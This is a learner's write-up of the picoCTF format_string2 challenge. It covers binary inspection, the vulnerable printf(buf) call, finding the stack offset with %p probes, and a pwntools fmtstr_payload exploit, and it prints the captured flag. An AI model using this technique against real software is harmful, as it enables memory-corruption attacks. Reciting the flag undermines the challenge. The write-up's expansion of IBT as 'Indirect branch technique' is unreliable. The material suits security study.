It’s a 64 bit dynamically linked ELF.

file

file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped

The primary security feature that’s enabled is NX.

I wonder what SHSTK and IBT are.

I linked an explanation on SHSTK and IBT for those who are interested, honestly this stuff seems out of my level.

At least it’s good to know the acronyms of what SHSTK and IBT are lol!

checksec

checksec vuln
[*] '/home/picoctf/pwn/format_string2/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Let’s check the C code.

C Code

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

A format string vulnerability exists in the main function.

char buf[1024];
printf(buf);

I sent a bunch of %ps like I did when solving echo_valley.

./vuln 
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Here's your input: 0x7fff7aca0f10
sus = 0x21737573
You can do better!

Unfortunately, the binary only leaked one address.

This is because it used the scanf function to read input, which stops at the first whitespace character(space,tab,newline…)

If we send %p %p %p... it will only read until the first %p.

On the other hand the C code for echo valley used the fgets function to read input.

fgets reads the entire line including spaces, until a newline or the buffer is full.

That’s why we need to change our format-string input.

We need to make sure it doesn’t contain any whitespaces.

To ensure that I used %p. this time.

./vuln 
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your input: 0x7fff89630670.(nil).(nil).0xa.0x400.0x7f6f063ac860.0x7f6f063e4ab0.(nil).(nil).(nil).0x7f6f063e52e0.0x1a0c23d.0x7f6f063acd78.0x70252e70252e7025.
sus = 0x21737573

You can see that the 14th argument is representing the format string I passed as ASCII.

0x70252e70252e7025 is shown in reverse because x86-64 stores data in little-endian.

from pwn import * 
p64(0x70252e70252e7025) # b'%p.%p.%p'

Why is it important to find which format specifier interprets my input as ASCII?

Because the 14th pointer on the stack points to my input, I can place a target address at the beginning of that input. The %14$n specifier will then write to that target address.

From here, the rest is simple. Utilize the 14th pointer on the stack to change sus which was 0x21737573 to 0x67616c66 and read the flag.

Here’s the final exploit code.

Exploit Code

from pwn import *

context.arch = "amd64"
r = remote("rhea.picoctf.net", 61331)
e = ELF("./vuln")
payload = fmtstr_payload(14, {e.sym.sus: 0x67616c66})
r.sendline(payload)
r.interactive() 
# picoCTF{f0rm47_57r?_f0rm47_m3m_741fa290}

Reference Writeup

Even though I solved the problem with the help of a writeup, I wonder how you can solve it without using the fmtstr_payload.

Although,fmtstr_payload is a very good tool it’s good practice to solve format string problems manually to prepare for scenarios where it can’t be used.

For extra knowledge

1. IBT (Indirect branch technique)

https://lwn.net/Articles/889475/

2. SHSTK (Shadow Stack)

https://www.intel.com/content/www/us/en/content-details/785687/complex-shadow-stack-updates-intel-control-flow-enforcement-technology.html